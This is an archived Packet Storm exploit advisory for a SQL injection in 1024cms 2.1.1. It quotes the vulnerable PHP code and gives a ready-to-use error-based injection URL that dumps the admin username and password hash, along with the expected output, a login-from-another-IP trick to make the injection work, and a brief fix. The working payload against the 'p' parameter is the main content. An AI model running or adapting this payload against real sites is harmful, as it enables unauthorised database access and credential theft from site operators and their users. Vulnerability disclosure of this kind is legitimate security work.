what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

1024cms 2.1.1 SQL Injection

1024cms 2.1.1 SQL Injection
Posted Aug 22, 2012
Authored by kallimero

1024cms version 2.1.1 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 4dfa37e65298e4b5b3074b6eb179e9e58dd8c378d0080429d93c29612d91006e

1024cms 2.1.1 SQL Injection

Change Mirror Download
# Exploit Title: 1024cms <= 2.1.1 SQL vulnerability
# Date: 21/08/2012
# Exploit Author: Kallimero
# Vendor Homepage: http://www.1024cms.org
# Software Link:
http://sourceforge.net/projects/cms-cvi/files/v2.1.zip/download
# Version: 2.1.1
# Tested on: Debian



Introduction
============


1024 cms is vulnerable to a tricky SQL injection



The vuln
========


First let's see the code :

---------------[index.php]---------------

if(!isset($_GET['p']) || trim($_GET['p']) == "") $page = $defaultpage;
else $page = mb_strtolower($_GET['p']);

$online_page = $page;

---------------[index.php]---------------

You see that it's possible to inject in the $online_page variable thanks to
$_GET['p'];


---------------[includes/classes/whosonline.php]---------------
ligne 8:

if(!isset($online_page) || $online_page == "") $location = $sitename;
else $location = $online_page;
$uid = $_SESSION['user'];
$chk_user = mysql_query("SELECT ip FROM ".$prefix."online WHERE
ip='".$ip."'") or die("WHOSONLINE::: Cannot check: ".mysql_error());
if(mysql_num_rows($chk_user) > 0) mysql_query("UPDATE ".$prefix."online SET
time='".$now."' WHERE ip='".$ip."'") or die("WHOSONLINE::: Cannot update
user: ".mysql_error());
else mysql_query("INSERT INTO ".$prefix."online (time, ip, username,
location, uid) VALUES ('".$now."', '".$ip."', '".$username."',
'".$location."', '".$uid."')") or die("WHOSONLINE::: Cannot insert user:
".mysql_error());

---------------[includes/classes/whosonline.php]---------------

w00t an SQL injection. $location isn't properly sanitarized.

Its a bit tricky because to inject you have to be connected but not logged
as an online user with your ip.
The most simple solution is to log with an ip, then keep the cookies and
inject with another.


The PoC :
=========

Error based injection in INSERTO INTO :
http://
[site]/index.php?p=hwc%20rox%20modafucka%27,%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28SELECT%20concat%28username,%200x3a,%20password%29%20FROM%20otatf_users%20LIMIT%200,1%29,0x7e,%20floor%28rand%280%29*3%29%29%20as%20e%20from%20information_schema.tables%20group%20by%20e%29%20a%29%29--%20-

And you normally see :
WHOSONLINE::: Cannot insert user: Duplicate entry 'admin:[MD5 HASH]~1' for
key 'group_key'


How to Fix ?
============


To fix the vuln juste take this line of the index.php script :
if(mb_eregi("[^[:space:]a-zA-Z0-9_.-]{1,}", $page)) die("PAGE FORMAT
INCORRRECT");
And put it before the whosonline.php inclusion.


Thanks
=========

Special thanks : Epicout
All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0.
Please visit : http://orgasm.re/
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close